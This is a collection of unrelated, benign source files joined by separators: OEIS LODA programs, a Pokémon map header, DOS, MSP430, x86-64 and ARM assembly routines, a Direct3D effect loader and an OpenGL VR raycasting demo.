; 0,2,5,7,13,15,18,20,34,36,39,41,47,49,52,54,89,91,94,96,102,104,107,109,123,125,128,130,136,138,141,143,233,235,238,240,246,248,251,253,267,269,272,274,280,282,285,287,322,324,327,329,335,337,340,342,356,358,361,363,369,371,374,376,610,612,615,617,623,625,628,630,644,646,649,651,657,659,662,664,699,701,704,706,712,714,717,719,733,735,738,740,746,748,751,753,843,845,848,850
mov $2,$0
mov $4,2
mov $5,$0
lpb $2
mov $0,$5
mov $1,1
sub $2,1
sub $0,$2
mov $3,1
lpb $0
dif $0,2
add $1,$3
add $3,$1
lpe
mov $0,$1
add $0,1
add $4,$0
lpe
mov $0,$4
sub $0,2
|
; A030109: Write n in binary, reverse bits, subtract 1, divide by 2.
; 0,0,1,0,2,1,3,0,4,2,6,1,5,3,7,0,8,4,12,2,10,6,14,1,9,5,13,3,11,7,15,0,16,8,24,4,20,12,28,2,18,10,26,6,22,14,30,1,17,9,25,5,21,13,29,3,19,11,27,7,23,15,31,0,32,16,48,8,40,24,56,4,36,20,52,12,44,28,60,2,34,18,50,10,42,26,58,6,38,22,54,14,46,30,62,1,33,17,49,9
mov $1,$0
lpb $1
mul $0,2
sub $0,$1
sub $0,1
sub $1,1
div $1,2
sub $0,$1
lpe
|
VermilionPokecenter_h:
db POKECENTER ; tileset
db VERMILION_POKECENTER_HEIGHT, VERMILION_POKECENTER_WIDTH ; dimensions (y, x)
dw VermilionPokecenterBlocks, VermilionPokecenterTextPointers, VermilionPokecenterScript ; blocks, texts, scripts
db $00 ; connections
dw VermilionPokecenterObject ; objects
|
; Prints all 256 characters of given font.
_TEXT segment para public 'CODE'
org 100h
assume cs:_TEXT,ds:_TEXT,ss:_TEXT
; =============== S U B R O U T I N E =======================================
; Choose the current display page for all video operations
_start proc near
mov bh, 0
print_blank_line: ; CODE XREF: _start+37↓j
mov ds:chars_left_on_this_line, 64 ; Store 64 character locations left before next newline
nop
mov ah, 0Eh ; Print blank line (CR+LF)
mov al, 0Dh
int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
; AL = character, BH = display page (alpha modes)
; BL = foreground color (graphics modes)
mov ah, 0Eh
mov al, 0Ah
int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
; AL = character, BH = display page (alpha modes)
; BL = foreground color (graphics modes)
dec ds:lines_left ; 5 lines total, one blank line + 4 * 64 = 256 chars total
jz short exit_program ; Exit to DOS
print_char: ; CODE XREF: _start+35↓j
mov ah, 0Ah
mov al, ds:char_counter
mov cx, 1
int 10h ; - VIDEO - WRITE CHARACTERS ONLY AT CURSOR POSITION
; AL = character, BH = display page - alpha mode
; BL = color of character (graphics mode, PCjr only)
; CX = number of times to write character
inc ds:char_counter
mov ah, 3
int 10h ; - VIDEO - READ CURSOR POSITION
; BH = page number
; Return: DH,DL = row,column, CH = cursor start line, CL = cursor end line
inc dx
mov ah, 2
int 10h ; - VIDEO - SET CURSOR POSITION
; DH,DL = row, column (0,0 = upper left)
; BH = page number
dec ds:chars_left_on_this_line
jnz short print_char
jmp short print_blank_line ; Store 64 character locations left before next newline
; ---------------------------------------------------------------------------
exit_program: ; CODE XREF: _start+18↑j
retn ; Exit to DOS
_start endp
; ---------------------------------------------------------------------------
char_counter db 0 ; DATA XREF: _start+1C↑r
; _start+24↑w
chars_left_on_this_line db 0 ; DATA XREF: _start:print_blank_line↑w
; _start+31↑w
lines_left db 5 ; DATA XREF: _start+14↑w
_TEXT ends
end _start
|
; --COPYRIGHT--,BSD_EX
; Copyright (c) 2012, Texas Instruments Incorporated
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
;
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; * Neither the name of Texas Instruments Incorporated nor the names of
; its contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
; THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
; EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;
; ******************************************************************************
;
; MSP430 CODE EXAMPLE DISCLAIMER
;
; MSP430 code examples are self-contained low-level programs that typically
; demonstrate a single peripheral function or device feature in a highly
; concise manner. For this the code may rely on the device's power-on default
; register values and settings such as the clock configuration and care must
; be taken when combining code from several examples to avoid potential side
; effects. Also see www.ti.com/grace for a GUI- and www.ti.com/msp430ware
; for an API functional library-approach to peripheral configuration.
;
; --/COPYRIGHT--
;*******************************************************************************
; MSP430F54xA Demo - Timer_A3, PWM TA1.1-2, Up Mode, DCO SMCLK
;
; Description: This program generates two PWM outputs on P2.2,P2.3 using
; Timer1_A configured for up mode. The value in CCR0, 512-1, defines the PWM
; period and the values in CCR1 and CCR2 the PWM duty cycles. Using ~1.045MHz
; SMCLK as TACLK, the timer period is ~500us with a 75% duty cycle on P2.2
; and 25% on P2.3.
; ACLK = n/a, SMCLK = MCLK = TACLK = default DCO ~1.045MHz.
;
; MSP430F5438A
; -------------------
; /|\| |
; | | |
; --|RST |
; | |
; | P2.2/TA1.1|--> CCR1 - 75% PWM
; | P2.3/TA1.2|--> CCR2 - 25% PWM
;
; D. Dang
; Texas Instruments Inc.
; December 2009
; Built with CCS Version: 4.0.2
;******************************************************************************
.cdecls C,LIST,"msp430.h"
;-------------------------------------------------------------------------------
.def RESET ; Export program entry-point to
; make it known to linker.
;-------------------------------------------------------------------------------
.global _main
.text ; Assemble to Flash memory
;-------------------------------------------------------------------------------
_main
RESET mov.w #0x5C00,SP ; Initialize stackpointer
mov.w #WDTPW + WDTHOLD,&WDTCTL; Stop WDT
bis.b #BIT2 + BIT3,&P2DIR ; P2.2 and P2.3 output
bis.b #BIT2 + BIT3,&P2SEL ; P2.2 and P2.3 options select
mov.w #512-1,&TA1CCR0 ; PWM Period
mov.w #OUTMOD_7,&TA1CCTL1 ; CCR1 reset/set
mov.w #384,&TA1CCR1 ; CCR1 PWM duty cycle
mov.w #OUTMOD_7,&TA1CCTL2 ; CCR2 reset/set
mov.w #128,&TA1CCR2 ; CCR2 PWM duty cycle
mov.w #TASSEL_2 + MC_1 + TACLR,&TA1CTL
; SMCLK, up mode, clear TAR
bis.w #LPM0,SR ; Enter LPM0
nop ; For debugger
;-------------------------------------------------------------------------------
; Interrupt Vectors
;-------------------------------------------------------------------------------
.sect ".reset" ; POR, ext. Reset
.short RESET
.end
|
; PROLOGUE(mpn_mul_2)
; X86_64 mpn_mul_2
;
; Copyright 2010 Jason Moxham
;
; Windows Conversion Copyright 2010 Brian Gladman
;
; This file is part of the MPIR Library.
; The MPIR Library is free software; you can redistribute it and/or modify
; it under the terms of the GNU Lesser General Public License as published
; by the Free Software Foundation; either version 2.1 of the License, or (at
; your option) any later version.
; The MPIR Library is distributed in the hope that it will be useful, but
; WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
; or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
; License for more details.
; You should have received a copy of the GNU Lesser General Public License
; along with the MPIR Library; see the file COPYING.LIB. If not, write
; to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
; Boston, MA 02110-1301, USA.
;
; mp_limb_t mpn_mul_2(mp_ptr, mp_ptr, mp_size_t, mp_limb_t)
; rax rdi rsi rdx rcx
; rax rcx rdx r8 r9
%include "yasm_mac.inc"
%define reg_save_list rsi, rdi, rbx
CPU nehalem
BITS 64
FRAME_PROC mpn_mul_2, 0, reg_save_list
mov rbx, 3
lea rdi, [rcx+r8*8-24]
lea rsi, [rdx+r8*8-24]
sub rbx, r8
mov r8, [r9+8]
mov rcx, [r9]
mov r11, 0
mov r9, 0
mov rax, [rsi+rbx*8]
mov r10, 0
mul rcx
add r11, rax
mov rax, [rsi+rbx*8]
mov [rdi+rbx*8], r11
adc r9, rdx
cmp rbx, 0
jge .2
align 16
.1: mul r8
add r9, rax
adc r10, rdx
mov rax, [rsi+rbx*8+8]
mov r11, 0
mul rcx
add r9, rax
adc r10, rdx
adc r11, 0
mov rax, [rsi+rbx*8+8]
mul r8
add r10, rax
mov rax, [rsi+rbx*8+16]
adc r11, rdx
mul rcx
add r10, rax
mov [rdi+rbx*8+8], r9
adc r11, rdx
mov r9, 0
mov rax, [rsi+rbx*8+16]
adc r9, 0
mul r8
add r11, rax
mov [rdi+rbx*8+16], r10
mov rax, [rsi+rbx*8+24]
mov r10, 0
adc r9, rdx
mul rcx
add r11, rax
mov rax, [rsi+rbx*8+24]
mov [rdi+rbx*8+24], r11
adc r9, rdx
adc r10, 0
add rbx, 3
jnc .1
.2: cmp rbx, 1
ja .5
je .4
.3: mul r8
add r9, rax
adc r10, rdx
mov rax, [rsi+rbx*8+8]
mov r11, 0
mul rcx
add r9, rax
adc r10, rdx
adc r11, 0
mov rax, [rsi+rbx*8+8]
mul r8
add r10, rax
mov rax, [rsi+rbx*8+16]
adc r11, rdx
mul rcx
add r10, rax
mov [rdi+rbx*8+8], r9
adc r11, rdx
mov r9, 0
mov rax, [rsi+rbx*8+16]
adc r9, 0
mul r8
add r11, rax
mov [rdi+rbx*8+16], r10
adc r9, rdx
mov [rdi+rbx*8+24], r11
mov rax, r9
EXIT_PROC reg_save_list
.4: mul r8
add r9, rax
adc r10, rdx
mov rax, [rsi+rbx*8+8]
mov r11, 0
mul rcx
add r9, rax
adc r10, rdx
adc r11, 0
mov rax, [rsi+rbx*8+8]
mul r8
add r10, rax
adc r11, rdx
mov [rdi+rbx*8+8], r9
mov [rdi+rbx*8+16], r10
mov rax, r11
EXIT_PROC reg_save_list
.5: mul r8
add r9, rax
adc r10, rdx
mov [rdi+rbx*8+8], r9
mov rax, r10
END_PROC reg_save_list
end
|
#include "pch.h"
#include "Effects.h"
#include "FileHelper.h"
//-----------------------------------------------------------------------------------------//
CEffects::CEffects()
{
m_pFX = 0;
m_hTexture = 0;
m_hDrawTexTech = 0;
m_hShadowMap = 0;
m_hLightWVP = 0;
m_hFarPlane = 0;
m_hProjTech = 0;
m_hColorTech = 0;
}
//-----------------------------------------------------------------------------------------//
CEffects::~CEffects()
{
if (m_pFX)
{
m_pFX->Release();
m_pFX = 0;
}
}
//-----------------------------------------------------------------------------------------//
bool CEffects::Initialize()
{
CString strFileName;
TCHAR szFilePath[MAX_PATH + _ATL_QUOTES_SPACE];
DWORD dwFLen = ::GetModuleFileName(NULL, szFilePath + 0, MAX_PATH);
if (dwFLen == 0 || dwFLen == MAX_PATH)
{
ATLASSERT(0);
return false;
}
else
{
strFileName = CString(szFilePath);
long nRight = strFileName.ReverseFind(_T('\\'));
strFileName = strFileName.Left(nRight);
bool bFoundFX = false;
int nNumAttempts = 0;
//search for the .fx file. Might be better to embed it as a resource
while (!bFoundFX && nNumAttempts < 3)
{
long nRight = strFileName.ReverseFind(_T('\\'));//move one folder up
strFileName = strFileName.Left(nRight);
nNumAttempts++;
if (CFileHelper::DoesFileExist(strFileName + L"\\FaceView.fx")) {
bFoundFX = true;
strFileName.Append(L"\\FaceView.fx");
}
else if (CFileHelper::DoesFileExist(strFileName + L"\\FaceView\\FaceView.fx")) {
bFoundFX = true;
strFileName.Append(L"\\FaceView\\FaceView.fx");
}
}
}
LPD3DXBUFFER pErrors = NULL;
HRESULT hr = D3DXCreateEffectFromFile(gd3dDevice, strFileName, NULL, NULL, 0, NULL, &m_pFX, &pErrors);
if (FAILED(hr))
{
if (pErrors)
{
CStringA strErrorsA = (LPCSTR)pErrors->GetBufferPointer();
CA2W wErrors = strErrorsA;
CString strErrors = wErrors;
MessageBox(NULL, strErrors, L"", MB_OK);
pErrors->Release();
}
return false;
}
/*g_hProjTech = m_pFX->GetTechniqueByName("ProjTexTech");
m_hDepthTech = m_pFX->GetTechniqueByName("BuildShadowMapTech");*/
m_hDrawTexTech = m_pFX->GetTechniqueByName("DrawTexTech");
m_hProjTech = m_pFX->GetTechniqueByName("ProjTexTech");
m_hColorTech = m_pFX->GetTechniqueByName("DrawColorTech");
m_hDepthTech = m_pFX->GetTechniqueByName("BuildShadowMapTech");
m_hTexture = m_pFX->GetParameterByName(0, "gTexProj");
m_hShadowMap = m_pFX->GetParameterByName(0, "gShadowMap");
m_hLightWVP = m_pFX->GetParameterByName(0, "gLightWVP");
m_hFarPlane = m_pFX->GetParameterByName(0, "gFarPlane");
return true;
}
|
ldy {c2},x
cmp {c1},y
bcs {la1}
|
; A021154: Expansion of 1/((1-x)(1-2x)(1-5x)(1-11x)).
; Submitted by Jon Maiga
; 1,19,256,3066,35007,391545,4339462,47896672,527676853,5808513711,63913994508,703155662118,7735220904139,85089973066117,936002419362994,10296090191237004,113257309994958465,1245831999401562363,13704159940702806520,150745799084160022930,1658203988607908105431,18240244868097732620049,200642698516128784510686,2207069708512685274845496,24277766917815881282994637,267055436716856410478520775,2937609806989829097225845092,32313707892410162979563314302,355450786894122007326128419683
mov $1,1
mov $2,1
mov $3,2
lpb $0
sub $0,1
mul $1,11
mul $3,5
add $3,2
sub $3,$2
add $1,$3
mul $2,2
add $2,1
sub $1,$2
lpe
mov $0,$1
|
/*
* Yeppp! library runtime infrastructure
*
* This file is part of Yeppp! library and licensed under MIT license.
* See runtime/LICENSE.txt for details.
*
*/
.include "common.inc"
.syntax unified
/**
* @brief GCC helper function for switch statements optimized using a jump table with 8-bit signed values.
* @details GCC may generate a call to this function from Thumb-1 code when optimization is on.
* The function makes a table lookup to get an 8-bit signed element, which specifies the offset of the target label from the caller site in 16-bit Thumb-1 instructions.
* @param index An index for the lookup table with 8-bit signed offsets. Passed in register r0.
* @param lut An address of the instruction following the BX instruction which transfers execution to this function. Passed in register lr.
* The lookup table starts immediately after the BX instruction which transfers execution to this function.
* In EABI this function is called with BL instruction, so the least significant bit of lr is always 0, and the address of the table is the same as return address.
* @note The function does not change any registers other than lr.
* @note This function never returns to its return address specified in lr. Instead, in returns to lr + lut[index] * 2.
*/
BEGIN_THUMB_FUNCTION __gnu_thumb1_case_sqi
.arch armv4t
PUSH {r1}
MOV r1, lr
LSRS r1, r1, 1
ADDS r1, r1, r1
LDRSB r1, [r1, r0]
ADDS r1, r1
ADD lr, r1
POP {r1}
MOV pc, lr
END_THUMB_FUNCTION __gnu_thumb1_case_sqi
/**
* @brief GCC helper function for switch statements optimized using a jump table with 8-bit unsigned values.
* @details GCC may generate a call to this function from Thumb-1 code when optimization is on.
* The function makes a table lookup to get an 8-bit unsigned element, which specifies the offset of the target label from the caller site in 16-bit Thumb-1 instructions.
* @param index An index for the lookup table with 8-bit unsigned offsets. Passed in register r0.
* @param lut An address of the instruction following the BX instruction which transfers execution to this function. Passed in register lr.
* The lookup table starts immediately after the BX instruction which transfers execution to this function.
* In EABI this function is called with BL instruction, so the least significant bit of lr is always 0, and the address of the table is the same as return address.
* @note The function does not change any registers other than lr.
* @note This function never returns to its return address specified in lr. Instead, in returns to lr + lut[index] * 2.
*/
BEGIN_THUMB_FUNCTION __gnu_thumb1_case_uqi
.arch armv4t
PUSH {r1}
MOV r1, lr
LSRS r1, r1, 1
ADDS r1, r1, r1
LDRB r1, [r1, r0]
ADDS r1, r1
ADD lr, r1
POP {r1}
MOV pc, lr
END_THUMB_FUNCTION __gnu_thumb1_case_uqi
/**
* @brief GCC helper function for switch statements optimized using a jump table with 16-bit signed values.
* @details GCC may generate a call to this function from Thumb-1 code when optimization is on.
* The function makes a table lookup to get an 16-bit signed element, which specifies the offset of the target label from the caller site in 16-bit Thumb-1 instructions.
* @param index An index for the lookup table with 16-bit signed offsets. Passed in register r0.
* @param lut An address of the instruction following the BX instruction which transfers execution to this function. Passed in register lr.
* The lookup table starts immediately after the BX instruction which transfers execution to this function.
* In EABI this function is called with BL instruction, so the least significant bit of lr is always 0, and the address of the table is the same as return address.
* @note The function does not change any registers other than lr.
* @note This function never returns to its return address specified in lr. Instead, in returns to lr + lut[index] * 2.
*/
BEGIN_THUMB_FUNCTION __gnu_thumb1_case_shi
.arch armv4t
PUSH {r1}
MOV r1, lr
LSRS r1, r1, 1
ADDS r1, r1, r0
LDRSH r1, [r1, r1]
ADDS r1, r1
ADD lr, r1
POP {r1}
MOV pc, lr
END_THUMB_FUNCTION __gnu_thumb1_case_shi
/**
* @brief GCC helper function for switch statements optimized using a jump table with 16-bit unsigned values.
* @details GCC may generate a call to this function from Thumb-1 code when optimization is on.
* The function makes a table lookup to get an 16-bit unsigned element, which specifies the offset of the target label from the caller site in 16-bit Thumb-1 instructions.
* @param index An index for the lookup table with 16-bit unsigned offsets. Passed in register r0.
* @param lut An address of the instruction following the BX instruction which transfers execution to this function. Passed in register lr.
* The lookup table starts immediately after the BX instruction which transfers execution to this function.
* In EABI this function is called with BL instruction, so the least significant bit of lr is always 0, and the address of the table is the same as return address.
* @note The function does not change any registers other than lr.
* @note This function never returns to its return address specified in lr. Instead, in returns to lr + lut[index] * 2.
*/
BEGIN_THUMB_FUNCTION __gnu_thumb1_case_uhi
.arch armv4t
PUSH {r1}
MOV r1, lr
LSRS r1, r1, 1
ADDS r1, r1, r0
LDRH r1, [r1, r1]
ADDS r1, r1
ADD lr, r1
POP {r1}
MOV pc, lr
END_THUMB_FUNCTION __gnu_thumb1_case_uhi
/**
* @brief GCC helper function for switch statements optimized using a jump table with 32-bit signed values.
* @details GCC may generate a call to this function from Thumb-1 code when optimization is on.
* The function makes a table lookup to get an 32-bit signed element, which specifies the offset of the target label from the caller site in 16-bit Thumb-1 instructions.
* @param index An index for the lookup table with 32-bit signed offsets. Passed in register r0.
* @param lut An address of the instruction following the BX instruction which transfers execution to this function. Passed in register lr.
* The lookup table starts immediately after the BX instruction which transfers execution to this function.
* In EABI this function is called with BL instruction, so the least significant bit of lr is always 0, and the address of the table is the same as return address.
* @note The function does not change any registers other than lr.
* @note This function never returns to its return address specified in lr. Instead, in returns to lr + lut[index] * 2.
*/
BEGIN_THUMB_FUNCTION __gnu_thumb1_case_si
.arch armv4t
PUSH {r1}
MOV r1, lr
LSRS r1, 2 /* r1 = lr / 4; If lr mod 4 == 2 then C = 1 */
ADCS r1, r1, r0 /* If lr mod 4 < 2 then r1 = lr / 4 + index. Otherwise r1 = (lr + 4) / 4 + index. */
ADDS r1, r1, r1 /* r1 = ceil(lr / 4) * 2 + index * 2 */
LDR r1, [r1, r1]
ADDS r1, r1
ADD lr, r1
POP {r1}
MOV pc, lr
END_THUMB_FUNCTION __gnu_thumb1_case_si
|
//Basic raycasting setup: render cube with ray start and end coords. Perform raycasting in the fragment shader.
#include "glm/gtc/type_ptr.hpp"
#include <GL/glew.h>
#include "glm/glm.hpp"
#include <glm/gtx/transform.hpp>
#include "imgui/imgui_impl_vr.h"
#include "imgui/imgui_draw_3d.h"
#include "InitShader.h"
#include <string>
#include <iostream>
static const std::string bkg_vertex_shader("ray_vs.glsl");
static const std::string bkg_fragment_shader("ray_fs.glsl");
GLuint bkg_shader_program = -1;
struct CubeData
{
GLuint cube_vao;
GLuint cube_vbo;
GLuint cube_ibo;
};
CubeData cube;
//uniform variables that get sent to the shader
int shader_mode = 0;
float shader_params[10] = {0.0f};
glm::vec4 shader_color[4] = {glm::vec4(0.8, 0.7, 0.6, 1.0), glm::vec4(0.7, 0.8, 0.9, 1.0), glm::vec4(1.0, 1.0, 1.0, 1.0), glm::vec4(1.0, 1.0, 1.0, 1.0)};
void glError()
{
GLenum errCode;
if((errCode = glGetError()) != GL_NO_ERROR)
{
std::cout << "OpenGL Error: " << errCode << std::endl;
}
}
#define BUFFER_OFFSET(i) ((char *)NULL + (i))
void CreateCube()
{
glGenVertexArrays(1, &cube.cube_vao);
glBindVertexArray(cube.cube_vao);
using namespace glm;
vec3 pos[8] = {vec3(-1.0f, -1.0f, -1.0f), vec3(+1.0f, -1.0f, -1.0f), vec3(+1.0f, +1.0f, -1.0f), vec3(-1.0f, +1.0f, -1.0f),
vec3(-1.0f, -1.0f, +1.0f), vec3(+1.0f, -1.0f, +1.0f), vec3(+1.0f, +1.0f, +1.0f), vec3(-1.0f, +1.0f, +1.0f)};
vec3 tex[8] = {vec3(-1.0f, -1.0f, -1.0f), vec3(+1.0f, -1.0f, -1.0f), vec3(+1.0f, +1.0f, -1.0f), vec3(-1.0f, +1.0f, -1.0f),
vec3(-1.0f, -1.0f, +1.0f), vec3(+1.0f, -1.0f, +1.0f), vec3(+1.0f, +1.0f, +1.0f), vec3(-1.0f, +1.0f, +1.0f)};
unsigned short idx[36] = { 0,2,1, 2,0,3, //bottom
0,5,4, 5,0,1, //front
1,6,5, 6,1,2, //right
2,7,6, 7,2,3, //back
3,4,7, 4,3,0, //left
4,5,6, 6,7,4};//top
//Buffer vertices
int datasize = sizeof(pos) + sizeof(tex);
glGenBuffers(1, &cube.cube_vbo);
glBindBuffer(GL_ARRAY_BUFFER, cube.cube_vbo);
glBufferData(GL_ARRAY_BUFFER, datasize, 0, GL_STATIC_DRAW);
glBufferSubData(GL_ARRAY_BUFFER, 0, sizeof(pos), pos);
glBufferSubData(GL_ARRAY_BUFFER, sizeof(pos), sizeof(tex), tex);
//Buffer indices
glGenBuffers(1, &cube.cube_ibo);
int nIndices = 12;
int indexsize = sizeof(idx);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, cube.cube_ibo);
glBufferData(GL_ELEMENT_ARRAY_BUFFER, indexsize, idx, GL_STATIC_DRAW);
int pos_loc = 0;
int tex_coord_loc = 2;
glEnableVertexAttribArray(pos_loc);
glEnableVertexAttribArray(tex_coord_loc);
glVertexAttribPointer(pos_loc, 3, GL_FLOAT, false, 0, BUFFER_OFFSET(0));
glVertexAttribPointer(tex_coord_loc, 3, GL_FLOAT, false, 0, BUFFER_OFFSET(8*3*sizeof(float)));
glBindVertexArray(0);
glError();
}
void DrawCube()
{
glBindVertexArray(cube.cube_vao);
glDrawElements(GL_TRIANGLES, 36, GL_UNSIGNED_SHORT, BUFFER_OFFSET(0));
glBindVertexArray(0);
}
void Draw2dGui()
{
if(ImGui_Impl_VR_IsHidden() == true)
{
return;
}
static int tab = 0;
const ImVec2 texsize = ImGui_Impl_VR_GetTextureSize();
ImGui_Impl_VR_NewFrame(0);
ImGui::SetNextWindowSize(texsize);
ImGui::SetNextWindowPos(ImVec2(0.0f, 0.0f));
ImGui::Begin("Tab 0", 0, ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoCollapse);
bool t0 = ImGui::RadioButton("Tab 0", &tab, 0); ImGui::SameLine();
bool t1 = ImGui::RadioButton("1", &tab, 1); ImGui::SameLine();
bool t2 = ImGui::RadioButton("2", &tab, 2); ImGui::SameLine();
bool t3 = ImGui::RadioButton("3", &tab, 3);
if(t0 || t1 || t2 || t3)
{
SetQuadTexture(tab);
}
static int e = 2;
const float scales[4] = {0.25f, 0.5f, 1.0f, 1.5f};
bool e0 = ImGui::RadioButton("Scale 0.25", &e, 0); ImGui::SameLine();
bool e1 = ImGui::RadioButton("0.5", &e, 1); ImGui::SameLine();
bool e2 = ImGui::RadioButton("1.0", &e, 2); ImGui::SameLine();
bool e3 = ImGui::RadioButton("1.5", &e, 3);
if(e0 || e1 || e2 || e3)
{
ImGui_Impl_VR_SetGuiScale(scales[e]);
}
static bool pinned = false;
if(ImGui::Checkbox("Pin", &pinned))
{
ImGui_Impl_VR_SetPinned(pinned);
}
if(ImGui::Button("Screenshot"))
{
ImGui_Impl_VR_GrabScreenshot();
}
static bool keyboard = false;
if(ImGui::Checkbox("Show Keyboard", &keyboard))
{
if(keyboard == true)
{
ImGui_Impl_VR_ShowKeyboard();
}
else
{
ImGui_Impl_VR_HideKeyboard();
}
}
//static bool test_opened = true;
//ImGui::ShowTestWindow(&test_opened);
ImGui::End();
ImGui_Impl_VR_Render(0);
ImGui_Impl_VR_NewFrame(1);
ImGui::SetNextWindowSize(texsize);
ImGui::SetNextWindowPos(ImVec2(0.0f, 0.0f));
ImGui::Begin("Tab 1", 0, ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoCollapse);
{
bool t0 = ImGui::RadioButton("Tab 0", &tab, 0); ImGui::SameLine();
bool t1 = ImGui::RadioButton("1", &tab, 1); ImGui::SameLine();
bool t2 = ImGui::RadioButton("2", &tab, 2); ImGui::SameLine();
bool t3 = ImGui::RadioButton("3", &tab, 3);
if(t0 || t1 || t2 || t3)
{
SetQuadTexture(tab);
}
}
static char text1[1024];
ImGui_Impl_VR_InputText("Sample text input 1", text1, 1024);
static char text2[1024];
ImGui_Impl_VR_InputText("Sample text input 2", text2, 1024);
if(ImGui::SliderInt("shader mode", &shader_mode, 0, 10))
{
}
ImGui::End();
ImGui_Impl_VR_Render(1);
ImGui_Impl_VR_NewFrame(2);
ImGui::SetNextWindowSize(texsize);
ImGui::SetNextWindowPos(ImVec2(0.0f, 0.0f));
ImGui::Begin("Tab 2", 0, ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoCollapse);
{
bool t0 = ImGui::RadioButton("Tab 0", &tab, 0); ImGui::SameLine();
bool t1 = ImGui::RadioButton("1", &tab, 1); ImGui::SameLine();
bool t2 = ImGui::RadioButton("2", &tab, 2); ImGui::SameLine();
bool t3 = ImGui::RadioButton("3", &tab, 3);
if(t0 || t1 || t2 || t3)
{
SetQuadTexture(tab);
}
}
const int n_sliders = 10;
for (int i = 0; i<n_sliders; i++)
{
std::string name = std::string("Slider ") + std::to_string(i);
ImGui::SliderFloat(name.c_str(), &shader_params[i], 0.0f, +1.0f);
}
ImGui::End();
ImGui_Impl_VR_Render(2);
ImGui_Impl_VR_NewFrame(3);
ImGui::SetNextWindowSize(texsize);
ImGui::SetNextWindowPos(ImVec2(0.0f, 0.0f));
ImGui::Begin("Tab 3", 0, ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoCollapse);
{
bool t0 = ImGui::RadioButton("Tab 0", &tab, 0); ImGui::SameLine();
bool t1 = ImGui::RadioButton("1", &tab, 1); ImGui::SameLine();
bool t2 = ImGui::RadioButton("2", &tab, 2); ImGui::SameLine();
bool t3 = ImGui::RadioButton("3", &tab, 3);
if(t0 || t1 || t2 || t3)
{
SetQuadTexture(tab);
}
}
for(int i=0; i<4; i++)
{
std::string name = std::string("Color ") + std::to_string(i);
if(ImGui::ColorEdit4(name.c_str(), &shader_color[i].r, true))
{
}
}
ImGui::End();
ImGui_Impl_VR_Render(3);
}
void DrawRaycast(glm::mat4& Pvr, glm::mat4& Vvr, glm::mat4& Mvr)
{
float nearClip = 1.0f;
float farClip = 5.0f;
static float frame = 0.0f;
static int frame_id = 0;
frame += 1.0f/30.0f;
frame_id++;
glError();
const glm::mat4 Q1 = glm::inverse(Vvr*Mvr)*glm::scale(glm::vec3(nearClip));
const glm::mat4 Q2 = glm::inverse(Vvr*Mvr)*glm::scale(glm::vec3(farClip));
glUseProgram(bkg_shader_program);
glm::mat4 PVM = Pvr*Vvr*Mvr;
glUniformMatrix4fv(0, 1, false, glm::value_ptr(PVM));
glUniformMatrix4fv(1, 1, false, glm::value_ptr(Pvr));
glUniformMatrix4fv(2, 1, false, glm::value_ptr(Q1));
glUniformMatrix4fv(3, 1, false, glm::value_ptr(Q2));
glUniform1f(4, frame);
glUniform1i(8, shader_mode);
glUniform1fv(9, 10, shader_params);
glUniform4fv(19, 4, glm::value_ptr(shader_color[0]));
DrawCube();
}
void ReloadShader()
{
GLuint new_shader = InitShader(bkg_vertex_shader.c_str(), bkg_fragment_shader.c_str());
if(new_shader == -1) // loading failed
{
glClearColor(1.0f, 0.0f, 1.0f, 0.0f);
}
else
{
glClearColor(0.35f, 0.35f, 0.35f, 0.0f);
if(bkg_shader_program != -1)
{
glDeleteProgram(bkg_shader_program);
}
bkg_shader_program = new_shader;
}
}
void InitRaycast()
{
bkg_shader_program = InitShader(bkg_vertex_shader.c_str(), bkg_fragment_shader.c_str());
CreateCube();
SetQuadTexture(0);
} |
; A087654: Decimal expansion of D(1) where D(x) is the Dawson function.
; Submitted by Christian Krause
; 5,3,8,0,7,9,5,0,6,9,1,2,7,6,8,4,1,9,1,3,6,3,8,7,4,2,0,4,0,7,5,5,6,7,5,4,7,9,1,9,7,5,0,0,1,7,5,3,9,3,3,3,1,8,8,7,5,2,1,9,0,9,8,0,0,2,5,6,6,5,0,3,3,3,0,5,2,7,1,0,6,2,9,7,2,6,0,8,6,1,5,0,2,7,4,3,0,8,0,9
add $0,1
mov $2,2
mov $3,$0
mul $3,4
lpb $3
mul $1,$3
add $1,$2
mul $2,2
cmp $6,0
add $5,$6
div $1,$5
div $2,$5
add $2,$1
mul $1,2
sub $3,1
lpe
mul $2,2
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
